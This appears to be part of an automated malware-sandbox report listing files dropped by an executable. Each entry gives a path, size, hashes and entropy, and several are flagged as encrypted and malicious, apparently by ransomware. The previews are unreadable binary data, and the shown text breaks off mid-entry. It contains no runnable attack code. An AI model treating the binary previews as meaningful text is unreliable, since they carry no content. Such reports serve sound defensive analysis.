SHA-512:	144E3B8C40324381DF9A7BDD48547A52AFBBE07FD70434E8B04B31C55F374D0D0F85A5DD1FE146C6357091AFC29536F9AB8FFE53DF5BCE4679F904ED0B5128DE
Malicious:	false
Preview:	1,"fuS...2'.S....,.Pcu\X..8{......%.......9M.g. ......lGqVp..h..nR...&./..T.(.%gP.em..G..'.~.(.\.I........2.q....$k0..W....k;....9.k.Q..Wi....r.j..t.+b.....h..u..Y.3.J,F,...c....y.].....E..6I.....o!..6.7.Y.E......b.o....o`...<p3.".&.......F2Wb..."....Zz.uT..J%....s.6i.v....h...4..Z.....s..Ki\|...I........B+.........5....sNc.%.x..VN...LtV[hSd..nV...#V.....~7...k....b.....hp..._F..L..kK..oN...aO....6_.`C..s.......$.x.I......n.=..ti...4..5<....e....ekU..G9..sA_l.K.."ez....e...]..~R@........&.b....q.\Y1=.,......E.-x.Lc....\|T(B'j....<!......}m....M.uc..j`..=..g..v...I..}d.b5.........$oW}.A.5.-..=..L".........9.$..T........#.2.....l{..?.D.Y..&.6It...K...~7z.W....m.A.;c...p8.....v.L."G...."3...<..n.E.N....Id.I;.0D..L..:A......]:s...,.. ...4.W.9..4+......8.....c5...mA/....*....V.k,....BD.=.U}....E..{A....#.....b...<.0.....L#.Q....f....B..y,Rt.\|...Q{....sI...,r......).62.E)..YQg.\|^s..l}...'..?Q.qx.l.J.,!..t...U.."........2.s.r..GK;.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\d92f17e3-b3d9-4664-8820-141ed58efeab.798a2161-d11c-4972-a265-42a25538813b.down_meta

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.908670776437224
Encrypted:	false
SSDEEP:	48:5WMvA0A+K6BkaOkynY6oY5yUKvjXk+rv6YjBhJD:QnmOxYTYuvjzrvp
MD5:	F88C94466FB10884C7FA4D4D98C33308
SHA1:	3444C07D9ED3C6BC461E016107BAE0F189E30258
SHA-256:	1CFF15439446C99A59CB01376DAA52BF026D75F07443940B2C12A721BE78B0BC
SHA-512:	63F4F0072B8FCC469C5C9F05ECFE0D730A95C6EA4F7322D889C1B3C4C1886B2C6536BABC832B7F6BB6494CD02E804E43338C052361B4EBCA12E975F2AF2AE7AF
Malicious:	false
Preview:	h.t.t.z..0..,y..L./.......u).DN9Gc.O. ....8P.mY..^.?..b...f.d.....6.>........k....v...O0>.?S)../.7(7j}.y.}...H4:.......=,... ..9Q.\.A.t.P.7.....E+.s....S..(b%...TB...&.......y.g...zR....]!)D..m......3.5o......Q.0Ig.2..f.....hp.WI..K..fo....3..=-..[.......)..._...kR....J^...."n(...c......qX.......t..0..S..!......d=....@.^.C.....u.i.N!.6.o....D.o.u.`JU..G%P.xG..(....xC..a7.<.+v.0?,....L@...4.W...."..V.....,..c.9.H....%....JK.3.........}._.@g,..o......Q4!D.1..t.l[[.~.......5.0..@...."..P.2)../z..s..OK..~D%LS.7..=.2..C,.@..C...9.er.....!.{PU.......U+1o......,[..3.......+......CaS...B....fx..pR.htK1.....dG.s.../..E..I&5..... ..&......y.[..........N...=...8...D.8G..?.-.odgF.LZv.....J$6d...v)..7Bt...r..]...;..8d....U..@..S.....\|.o.....\.3/. ..43\..{{..'.P../.r..(.)G.....X.n...98e.D..t...d.r...v.WA0.1#..e.(o7...);.......9..p....S...'.").[..K.?_..0.#.......(.#..(I.uy`......O...Y.........O.?....0.r...N6.......!2<E..Q.^..Z.:Qi..8CF/.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\d92f17e3-b3d9-4664-8820-141ed58efeab.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.707502381215014
Encrypted:	false
SSDEEP:	24:APL4DHcyseuActmUHddVmOPUythDqf7EUXY3d8vICEC9pbD:ATOlctHddVmOPU+hDqf7jYNIVJD
MD5:	2E788422A167C97874F5CE4707462624
SHA1:	B655BBB80F432930535953DA0F52A5C3E6C78348
SHA-256:	3E805E0834FE7464A0D67C743E19B61583FA51CE85EC47494F88A42E82B32F9B
SHA-512:	FE7B6CFACBA33BE2F6CA6169C20E64759C083FDBD4500479C030A31ABA3A0CEDF8F6C30E53152E81C877F1AFF94906D91CF0DDD5F5E362DADA2648AC82B0FAC1
Malicious:	false
Preview:	.....5.X.z.......7G....4..:.yv...,3....{'t$..8.l ....I\|U...O.(..4.)9gQ:....`.Vx@+..z-..7........'j(v.J6..0.\e....#._.:..R.l'.....j.........(j.A)$\.y......=....Gd..^.C.2....f)..g...CD...7G...i..#./.......t[.cj........3Cf:.....Y...9S..\/H.....e+f..k.E.LW.@K2.e..y .t..P..\"q.x.7......t.#.....{xw..........Am.....nU.`.j...#-.4.T....0..K.../4/.sN..R.{. ......jI.^.._...%J.:S.R.......M..]^..N.bOa...umo....\.}S ........5.A.e.Ss..p.1..F.SCM.XV.q....B..gS.,..:A..C.$..`.^..T.?.$r..b..?...l...Wrrx.iP...0~k.T..J.Ad....Wb.1@N...jm.?.+..w...t.,...O......:.flt....N....w8.O.w...\|....${...s..@.Y.4.8.db......9$=..(y.........8gX...dE.....(..$.....w.V.O$...N).-....^...P29Q...I...E.....@.MR.:\.=.Woci?...6..%..q..B.z.]Jq#...s....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fa8b3094-de61-403e-8cb9-1f14be698f21.db56ec01-b5ee-42c6-bdde-a5a445999e54.down_meta

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.909688356946485
Encrypted:	false
SSDEEP:	48:fd4/tWl2yOXMCKdpVy0v7nXdAINiD64LJE4UTSgKEqFs2DJD:KJcrhnt/im4bULr6V
MD5:	9507CD13A4AA61F3EE07A0074F8D5574
SHA1:	DABB766478A24CCF2E65444EA1743C47D0E9C84B
SHA-256:	A650936F7E54287B4079383A0B9252D4D6EC0926ECD589ADAB8A3344441B1D4C
SHA-512:	4C0BC8FBC5C57C50587932565681E58FA8002F9E8E3FCCAE83261DC3A38C1F04E54CA02D733F035D1975BB01EB8919EF650175DFBB9BA8D2CEE37AA655C24365
Malicious:	false
Preview:	h.t.t..z...9......1Q.~.)_L.S.ms..N.J....Y..~..eK.P^.....(.8Z.^h:...H...a.}S..`..f._..s...].4]HZ.].B...Ft.y....~$j...y....8!.......x>. .M..S..R.b....%4.(.t......3.+W...bf.....O....u.M....../P..~...M...!....o..;..}.C.I..n..OQ"...?..!..k....)D..Lm........n..&...P.+D..x....06....F.F...#.P...8.....~...I.\.S..'hI,\{;...1..%.4..Bi....7@...gX9X(.....8.-..YFZ.....4......;X.."..v.]?.h..;.Mh.<H.zmt.'...R..~....N4..V........M.....Q...c#.K..pJ..1eF%]...<....~X4.@.`dB.G.......`(...&%....op..K..'&")Q....R.l.W4...$..\|Z......0...k,..]B"..._......9..n.j..`r.?q.....y.....5.j...n..h..[g-.+P#..p...m.8....(J...}{.C4...O}E.L...c.l&.."p..L...HL..J.D.....X..c\|..{.x{.Q.....Q].....j...D..>v....hk..N..gw..Y...m.fORYp...6du...s.....C.....\|.+u....@.&...>:.._...m....a...A_..k.x.:..ZGJ....fZ...=...cX. .P`.yj@D.8NC....a.J..7.](..2...L.S..7.........j*.AL.....%.W..8v,.....(..j.~"IK..j\|5...t...g....j"...]...T.[\|c.pE...B...6.yg..V..j......[~.Xt.!H.C.'(...USQ.t/.K..@..x.W...6.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fa8b3094-de61-403e-8cb9-1f14be698f21.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.685334239525131
Encrypted:	false
SSDEEP:	24:uCGkpr1T+zvkimn+2Lwzquq4iDuDQ2MvefZXsj9pbD:ekpRKmn+2cOuq4iejEefGJD
MD5:	2DEC7ABAA17686836DCE34C880836974
SHA1:	7EC1F674B647CC30EAD0EC8CC9554DF7967F416F
SHA-256:	8DC111412E62327FB8F5770970BBC33454610573A274D47CE5432D2BBB41316B
SHA-512:	50C9BBC0AF6BDB5E2E87A8AD36C4EC7A0F00A2311133ECAD7E5D229E723F597E1898AC901DDC76294E51B2671403C01BBCEA425E65672115E721E753BB36AE07
Malicious:	false
Preview:	.....P.h.cr..v..-......o....X.O.c.....l..)!7.. .Q..g:...jr....?2...rVw..{..l.8@..#.L.U.gv..A.-...V.JB...-.f.8V.0T9;...Y.?9.w.,%At.G..f..K..=..O(..z.~.!..0..A....1.....H.P.F.h..7...{......wer.p`....q....G..)..A..'..._..S..u.E..q.z5_..hIl...P..6iy...ED....d......xiC.....k...=. . .4.....q..#.G..\|M.#L].g......b.5.bm)...j.F...Vp..J.f%`zpsD.....cF2...X...f.S../...../..j0u.cs..~.x..j....y..-...\|`....<s.E..."#....?....V[.........&.\|.....f.9...5...+....8Y..O..)......~&F<....C..M\|5.........M.m]=..g.P...qB...y"\8o....B4...G...I.^.. ..^[...4..N..Q..Bz./.t.x#y.!...m....E.D.W._*.-.E.........!....w..0=.>q.X,..F.....h4.M............-,.P.NFwJa..rJz..S..j..^....M943....w.,..E.....^.[D.......O...P..!;.e..._..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\uANxnX_BheDjd2-cdR8N9DEWlds[1].css

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	20755
Entropy (8bit):	7.990885301051217
Encrypted:	true
SSDEEP:	384:l+Nva0iRFAoNPnMMYJERK1nDAz/FMY4/gqfIoq4ENnzmk6BkAncA1vE:l+NvicoNPnMl18zyd/gqRkzmP9ZE
MD5:	BA3CB971BA6E92098CF657FA02ED7B9C
SHA1:	2DD28681BD951B1259A0F441326B69482BCFB10F
SHA-256:	E97B2CDC224D4CBCACD00C4816D1E176BD9DAA7762E9C08F5A646604DC005E67
SHA-512:	995C60DD138F39C79DE74DB3A1DB06AE0E0E1F203AACC1C799122270E841E007CDC0E86EB1A6594A7E63C61793900EF0DE055EAE0B8132F642F24389F25EBA5A
Malicious:	true
Preview:	.sw_p....0..?QS.@{.'O.2.6.PH....#We...._....tTZ.........(G.L..)rYj...y..SB...e.....bR..@_.,.X.5.P...W{C.v.:{....h.~.Z.#i. u...c@3...}.s.3S.sS....RYtqe..1..WC.....Z....b.Q...e[.`..=.........8.1..Y.To.((.^.o....d..F...8/...\.4..ZBJ.....8%.pH?e=3....>.0q.Y...d......)r."...0u..H......i'&......b..q..^....b.r...sU......B......:.,.fR.;.KU.....]..gE..]...!U.4..Q.....4...@#...p.'.......!..Q.6.."`J.....,.....B9.s..m.u.m..-......]Yq..<ia.r9...{.Izg. d...D[j$...;\.M..x.@.......m....w".+...r._.b.aG!g..p.p.(....\h}....O..=........h..c.~..b.x.=[...F&d..!y...~IX.....}I{.:%n3....u...<...r.#T.W...D.i.....$.e....5.8D.VO...#,.....`yK.?"....`..&..8Q.........\|2.."2..>..U.&X..!!.8h.c<S...?.......fW..Lj.......j..[-..B...).cc"..G..Z+.".{...........<d.1.'....<.$..Wh/..(....V...._b.e.._.4)n.6.,....q..ly.q..j..=....0.\;.j......6D.sl?9.]\1GV...;...x......../[...}~#........I>u3I].:N.....9e.~......X.EU".>.8.A.!Ug.q...`.....U...V~?lDT..Y.....kY..yS....<e..B...=_y/..r.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.99585740864344
Encrypted:	true
SSDEEP:	1536:9PXFYvikGZYB9MukY5kHRkMIaQVlK+QiKe4o:9PXFI8Y586TVl5QA
MD5:	1126C509795688B5D25F0D6AF75EE0B3
SHA1:	D4C3439EA655AE4635B7447F4FC4340DB8E2A28B
SHA-256:	C9ECB944F3BEAE103E2A20063FC542652150DADA69D184AEC3D7D20D676B7EAD
SHA-512:	0D0AFEE58EF82EC5DD7A11C9C455C1984B843BF92537D7C8438F5797B02FF7DE9E878B29DA74A379C23FE61DBE0CE79C4182CC98AECCC044D0EF9B8787C320B0
Malicious:	true
Preview:	......{]...Y..)%...2...W.l.........Il..hc..Z<......pCQ....Pn.x...p.L$...zL...(NJ..3}.D...".1....&h..Ty.....jK...^H.E.....Y"...l].....C.........F.Oq......P......l.N@..0.......XP6Hb..y..:.l.P.`-.[.{T.6J....X......).A...{......&...sf#.bP.^..Dd.H.~.)...T..U>.......>.%g.q.>.%..7...8%8^.3...,.!....@jn..U....K.&.6F...B.,..Q.Eq...".o.I..JB.~.`........>-h..B..^.C.?..1.....\|.. PB.....r~.Do....I...s......Ht.r.s...<\|.>y.%J.......2R.~P.q.^.......Oh...K.32q\.-........._.On~.O...........(hof..p.:DnsR.#......).N..M .....a<......PJ.....1E..L.w.-...<....A..B..[.cFd..y.C[.t.B.W....s.pC(.;.....l.....k.d...A..c..HAQ.m...B..../b....,.....].A .P)8@......O.ul.....M.s.}...<{....QId.Q.Y\|3.B..+%\|..{.c.......xs...=.."I..cg.....h'.....y..R.N 7....8.;.I..q'...kRV].......Q7`d.=....}.a...X;6G.1.....#..r.....G.\|.......0..h..&.Zt......e.e'...>....J`.(..K.jg.."e.V..\.xK(..6._.N.d..8..G..k..{......Ni..7Kf&...:W..8.@g!..6.i5)..\|.......>.j.9B...j..$Q..=T..{:Y`cRV(....].>v

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\TIFHCK70\www.bing[1].xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6092
Entropy (8bit):	7.966758107708165
Encrypted:	false
SSDEEP:	96:XRM6zolEoozb4Xl6QPUMxBwY0r2sUbgI9GAzr1TtOTvrOBxRgMAeK:X+6zoJo4V6QMVxqsU0sYTcxWMy
MD5:	2C4463D1125E0CF3479D4B79B83FC2B6
SHA1:	8538A83773772144DFC343AC222CB0D06A4260A7
SHA-256:	D727C4C34A4F5AF6B6AD728F58E732B3620251F3BA76A72E4C3F98FECFE470E8
SHA-512:	8AD6A4CB2D51EBFBBBE537889AFE56E3D3D517D6E6304D1C2CB5049B752C98B663283E30F56C1725CBC1B0076BD3B5BD11B07EF9A7965E6888DF387A9A7684D4
Malicious:	false
Preview:	<root.....f.....@n>.#......t}.....3.u.,..f~f`....pQ..ZI.L.B..k#V(.&.5..,.7.....T.....&...$....$7.l..Y.3.3=..:....t....."....{.yz..ZF.,....%.&).}..(t._...q...0....HV..TIJt........p- T.\.N..a.K6..:......1..L...h.....b.Rv.@..9.......(.l...2.1."b.F........0{.......+xB>W.y.V....'..^x.NL?...l....OP....)..wN......&..U9./...{-...........d...B.60o....q.$.......K....k!..$%...........Ks^1.s.../.>.......h...].!.E..'mP~..;..H..m..8f........MM..F...B.I..H..#.XL....U#.Xh.^.......k0...T~.{P..={.=5....._....\|....L.n....cgX.G..)...5S..I.c_.g`._n....\|ef<.(<qk.r.................8Q.@Li.t.........G.Un.e..A>7..ty.C.h.m..#..Q].t%v...-]...9..c#s..R...P..X.,f.4.t....d4.z..b._5v..{.jj.[<t[....;.U..Ok............r.L. Z..paQW..-..X.....w%Ck\|u......^.~..@7R.W.....2Rj.~ Q..$i.T..B(Z........X].u]..;.'....(ap.H57........8..m[.....j.....0.<f.K.sJ...w..j..[_.,.qS...wH./...e....#....:.x.yi./w;, ..B.$.M..........$..l.-y..u....p...kV#.K2.d...T?..Y..@...u....*.3.s.\

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3189424891199888
Encrypted:	false
SSDEEP:	3072:SLBXfkeFmenISzD0mu98STwOuTvXuXYsKjaN0j0D6oB7utaPav:MvkesTatuXUOuTvX6j8xz
MD5:	0471E75E54E73B3610DCE6A293DDFF8F
SHA1:	5307885974E80D5BEBBFB2500F1D1C536F23AC78
SHA-256:	B47DE35FB4F3CA3364EE0842368D034C3247963B6C750EF626982FAA449F7921
SHA-512:	2FF024609566BE174C04AA5F7A99243A541AEEC0D805DEDD11252F80C92845FECB7F7CEF926DC87D290530609834BDD7B3675B5A4B6EEB47FE3EC10BBE159D68
Malicious:	false
Preview:	...P..u..=..K,...,U...%4.........j@.8..MO.X..;...+..b.`K....-Y&.]y..6..o...LV:z......^R..=..X.Ds........%.S........o.&\j.+....6,.3....{J...k.k.....8...cd....(EugCy....q"z-f......@....W.....L........3.'BA.....6.P."#;.m....\|....\0z5...tw....Z.. kQ...G..2(+.!......g..e..#.v.7J..k..,-.#.=.b.O...Ev.\...S+..\|z....O..c........R\Y.N.<.=F.`.C.\|......-...[..L}.K.ZC1.o.S..._..K.:.!G+.k\...t......Z3H_...(.. I.\qgQ'....V;...4aXQ.#Y....._....... ....6...=.wk....Y....F.\..V.........0.HY.....[..B..)....8.6....2=.hX.g-...S.\......f.........n..0..Bc...6...Vw.g....Wi.....4&..p..........p.Q[_...~x."....3...r...o......#.ma......X8..H..j......(.8..5C...G.R.=..r....8..DV...\.wd........}I.]I.WHA.=...i...T....D*.++...\.Z.@..a8.....)5.b.#...Z.;...V.#.+.?.F..7...~.,.....R......YO.g..^0j..7.Ol-.Kn........wVa,3.)....NV.V2.W...m;.e...n"....H...<.k.:...O..T......W}.q7..O.Y,.WP.vd.f....J..W.$..)r.n".....fP\|J...x...B.s,j..<._...G......z(..).4;.'.......L.~.x..#......$.....I...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990042489108378
Encrypted:	true
SSDEEP:	384:6wo/8sjzX8/I49u127X8PCsSBSM0Xuwhbsfms:6z/xjA9ieX8PCsSBT0ewh0ms
MD5:	E71F2D3690C3A5DED2643605020DBE23
SHA1:	F84BFB31DEA0C37E196409E3CB6BBF4D9961A632
SHA-256:	3ED6F8D2D0EFC8E5A7E26691C8A61ABBEADE65B95523D33985444A6A8DEE5EC2
SHA-512:	98EB683C356976CACFA91769F8CF69AF5EFB5858EBD334324B5B6FEEC57DE9CBADD5F0071A45CCEFEBEB3A71CE5D3CE65F4384F0036D941F344B34F200A0A7CC
Malicious:	true
Preview:	L........z.5......\|.@.]^..k....6.....~....9..@..g.(.6sR"...!OY.].\.......Ef.l...&..;.....h.;.%B.F7]..em..s.M....`...e..(..d9..5N:c.P.N.>..N=.k...._...x.S[..I.._... ..t<.............eT.a..=..D.......%K....=a...Mc9.NX?jl..$qfH..g....{.K..V...zz....3c..'...U...`.-}.A3.g.yr...<.,.nF...\|...bsCS.T._9.k@....z&"`}9.p....'XTH...`.....`]...O.e@:..7h....(/.l.........Hm..y-.h...4\...15...w...@...+.b....;nn^U3..1u....\./\...X.S'(x.G.P;x..N..S-{....j.z.i..<pS..J.7.F5..>......#.>.....:...8q.$..I.L.YmR8"........5.......jS.L.......C....b..}..%L....,...3..n_..G<.,y..d.Y..C.....tv..../...N..N.......^.!.H.B.0.#..<.Y...:.+.4.wTn.........]...a...I.J...I..$u...8....V.IO..}yp...\|.Si...).k,.a......u.M.`.x]-...{fy..\|KI......kF .@..; ..#...zU<.o.%...8.....Z.e...64...7.~.p..v.&..l.L.....V.....!U...##..6..PK..< OF.x.Q.....q.^.7q....X.IpFK.h:_..5b...)K.S...{.?a].....x#..$.....M}.J..@..U.6.x....m.n..K...F.L...v..2..;:<..r..2B..rc/.,`.....h..tM....t*..v.g.;..1.....c.!!.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.0586107896288839
Encrypted:	false
SSDEEP:	3072:+b7GxMTV4vapkBuwH39Ehc7gaSrduWL/lglfmUmEiIySnY7CBWCaxMAax4:W7WM/pkBuwH3ycU7duWL/u+ZZQY7fGY
MD5:	06854B2FD85C04AB226BEB92CD8C5A87
SHA1:	1BB2E746E470D38E9E3BC4BDA4DF21B638AE90FE
SHA-256:	E7146B70473E1BB564AFD666CEA8208270E6CA4B00AF6188CFDD92326EE52E45
SHA-512:	00B373F38FC38DF075B1E920D7FDAC9115AE91E159C15E0288A07338C98A077B1ADFC2A465F6AFB787F3AB53859FB943FD62F301FEC9EEDC5873D6B3743B41EB
Malicious:	false
Preview:	.....,..;..)....V.\|8c7$.S.O.}............r.P.?....Z<.../.E4....!..{o..jL.....2...rO.......W.....w.:..6.U...\|..1a....,....:.X:...;.l..,$....B...ki...3...T..<...UA....(..j@.@.........?2M^J..OK...y..?ouu...s......H.c...+.....%e..rT..]\|2.......E.w...A9L.....H.bw...R.1....mc\...$.B..).!I...1..8:..1Vnj._...-._....\|..H...:.,...,....Y.g..[T...t..r0.fr...v.3.>.o.......~.af&;.......Ns.....B!...$mt.c.7.m....6........[D..o.F.............f.N.NK...3?l.$"...Gr.Wd.,..W..L............3..'...l>S..kgc.K..7.3.....lm...:.ig..F.....t.g....a.5j.....Po...j.........D..u9y...<0....dGN...3....mS..5...:C...:....S...3.{........g.....q.K[..\~.A.vo{.\rm.3w...D..+.X..5.aV..j....`.........(....^........Y..r....x{D..N@Hq....b0.TA H...8..../.(..D;..O..\.....&{.".c..H......1.W..CP..2.%.0]C.$.ms-.n=.:+...kyz.R...5.c.R7-..+<F\".....u.xX;.......!+ME..........40vm...'`......b.9..A/....w...h.m...l....j..X.>...X.....H....P..$...x..!...([...5....e...,...s.EDC......j.n.t..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989355383582967
Encrypted:	false
SSDEEP:	384:Se6efbGck8XLqqxNERzqkVeJkwYT2bb4WBcqcLNthYcTm:Se5j5fMzDVwkxT2H4uUthYcTm
MD5:	54F1D020F0394B1D64325D429115286D
SHA1:	C06571CB91D7F4702A10F6BF77DD699DC9CFA5EE
SHA-256:	B9D9BC8AB9F11A6603B8EC269B40A16D7462E69F4E48DB29C5FC9F664592753A
SHA-512:	AADEE686A6C8F14A4DA644E8674C98F8221EC86DE41D742191336DF2C71DA4686E1D1E33CD6091D10FE7B06071076405A6928FB7E861CC0185D30E866A81D021
Malicious:	false
Preview:	.5.!.C..l.w1i+.;...%KVTa..y......h-HiP....2.(...&T>..2T.S.....!#u....%.\|....{..k.9z7@`..<.{....lE^X....Bhx...>..2.....Tj......P...j&.u[.7By7....t.i.j...'F..e...?. ....~..E.F..(Y....HMa.......X....yJ.D..0.$...S.(..B..l.".A...X..ZZ.U..<"Q.<..r8..x)..2..s..@.8..D.x.......^..9.y.z..M.~..Tz..2.$....<.I...2..`.F..o .B.G...E.......KP...h.b..`.D...m.y..@jd..-...P-.u.X^....\|.Or.}...\WZ.K..@y_.mUn..^GS..t.c.]]..[.JN......G...!1..s+ .A...tm%.Q.p.]K.e..-...px...H..5.....@0\Rf+x.F..m.NN)}yu\.1b.+..s/4z-..k...U.G_FE......l...../.....w.y.....leb.rL..;\|kV5.e...1..x4.6....^.x......&'..{..#S+.\|...K.t.P.....];4..x-..78Z ....s....0N......Z".y.q.............r!..m.,tJ5.$.R&A...o...Y...1G..k.1A..eMS...t.E.0v.....H.SA....]mI..9.U0.....X.oyJ...}R.fy..Tgi.........&1.3.Y.x....WS........$E...K......3A...Y}../x.....4..w^u_L.6.<..Ol$...e\..>.x&....;....B.3.,......@.....k....^....S...V..).z.C?j....#...qQ2..@[?..g..<.732.=......J.u..d'....YV6..q~..%Q...55.s..4..Dg..U..A.i

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976504953964534
Encrypted:	false
SSDEEP:	192:MucJczekXVXlXnReC9hN18Dt6amgt2vvvOBUusDYi0vrM3m:JzdXReXEXvOZz/wm
MD5:	3D0D61D5889F3224C32D6D5BE600953C
SHA1:	1AEF6BFBE28C40284B0C68C636702E0FA6EF0D23
SHA-256:	0B565DB8971D7EF50D227C124D5E7A88D345982691A57E1AD3E99A3070BB12F3
SHA-512:	CC6724B5ADB4375C621848E1EB4F25183B19F285740406267EC5E65E2AD4000886A4A95E8E086C74E46DDA21A09DE6A5282D08F461B5C8600E8672D85A58B8D0
Malicious:	false
Preview:	......K+&.....U..%...\|[...b.U.I........XT..$s.,;....&e....'..p+........<n.k .L.....y..../....};..1...........h.+.....e.{.@4.Q.4...6F...x......Z..'......< g^.lLj.o6...7.....?G.F.X.....<_.vI`...K..g...tA..F$....O1.u....8..%...3m..h2....@9..\....D0Y....q_D.."j\|...3w.W..Us.....:.CP..n,{.....q....T1..h...U.l..iU..k.z. ....u8.4k.zFH:4I..s....fV......O.....#n..=.{...+...[..:..W.uJ..7.0.N.`...}y..`.\...Y......n..\|z...fz.G.J....,.....%7.......~..W\|..:./T.d..u..........`..q.V.1.....<.A.....@...C.i.`U...e...v{.....n.%.u.g. ..6 >....l4..........Q_..).."....@M..+R.Ej..y...i.P.~u.....j.~.{nf.9L..t...d..n...Z.....$.[.~...s.V.t.tr..e.&(.. .3!D%~.1....o7.%..`N..FN......#0}..`D...E....B.b.e..}.ik.(n..f..8......m...x.[....j..A. ....Y....@ma,..0...d...oV....p..^.....}.vg...0..Yz..J..}.!S....G..6..Y..j..r@nu...qm...t=.....= =K..n..>q.P.....8.%9..P....."'..W(..\|.......mm.(...#..0}...V,ue\..Ye.0k..99g..G.c..!.....\...kgZ...y.....z.G.a.%u.%..'\....7t...+!.^..m$

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2086365787160593
Encrypted:	false
SSDEEP:	3072:AzuvSmGDMEBGA6Ual7xplZHdn1bZNlXya4iTIl:Azu65QEgFU27xHfr4iTg
MD5:	6DA21DC5D65CC7E4643C658217F3A792
SHA1:	D8B267FE97DA04BFAA69BC7F998AE9CE9710F036
SHA-256:	E103D4F1056CCE4BB6C6FDF7D06FD40A2F136C000268DB63F057BCC18D4CB79A
SHA-512:	CA68290D3FE7C8B453CED0319BC4B0F086AC6EB4584A0498B5FFDEE8C1457991A8BC251E942D341477CF2745C14E5621C67536FC2833BF747B3BC95038784A2F
Malicious:	false
Preview:	.....H..5...6Pk.Dw.9.f6g..xd5.P3..Y.....i%s$.....7....&.7JZD.O.N./...`f.........M......G58c....2....r.p~e.x..S......./..W....Eb.n...M....`G..nS.......~......{G....../.m5.y.G..~.;w&C..V}......h,.0..;.....v.xg.D..R..@.DD.+.n.X.Z....0U..+....\|..(...2..D.8...f..{...J.6.."...".....H1.l....%.K.w..j..1.....s..D..f.P.....QF..K0.E.5....Z..SW8.N....o.(.3.8..1.....m.....A2...].5.v.1.;v..R..vJp(iSL....!...N.W......d..M..r........%....\|..y.........".+p_F..sn-....Q.C.H.DE..M.r...>....W.J/F.....k.1...j.]p...-.=q..6.<2.v.Y.\|......W.........-...-.8......=..).Ga?.).0.).g.}.W.S..m.c.........#...8\...&..#..>.e:}.......O..o.....%YOk...9.......i..UY.o.q....Y.....0x.4.k.[..jA...P..2.....i..M.^w.p[..^..&,6..d...t-..8.O.G...n.k.q/./.Y~I.K\...:.GnS....Hm..?.XP.BUe....M.&:C.......}..6.X.D.....oB....k&..B........~..$k\.5.m.L$4n{....]u.....P....[ {.i.....].?_O..5}...y.J.!I;...N....S..8.-....^..M(.&.8..m....W..1.#..s\|O.2T.....'..u%O....+.3.]D...u.>.......q

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207053245924397
Encrypted:	false
SSDEEP:	3072:wLgFGAX+aNUqLppNxW0ybRD5mOeQT+xQM+D+CkN/esWuL6SqaldzA5W:kAX7GqNpNxW0YRDUOH3M+yCkN/b6IzH
MD5:	274A76E2981A52D6E709D37506EB4498
SHA1:	E0ABD4CA1B7428905AFB42D0C04FF7EA897B71C9
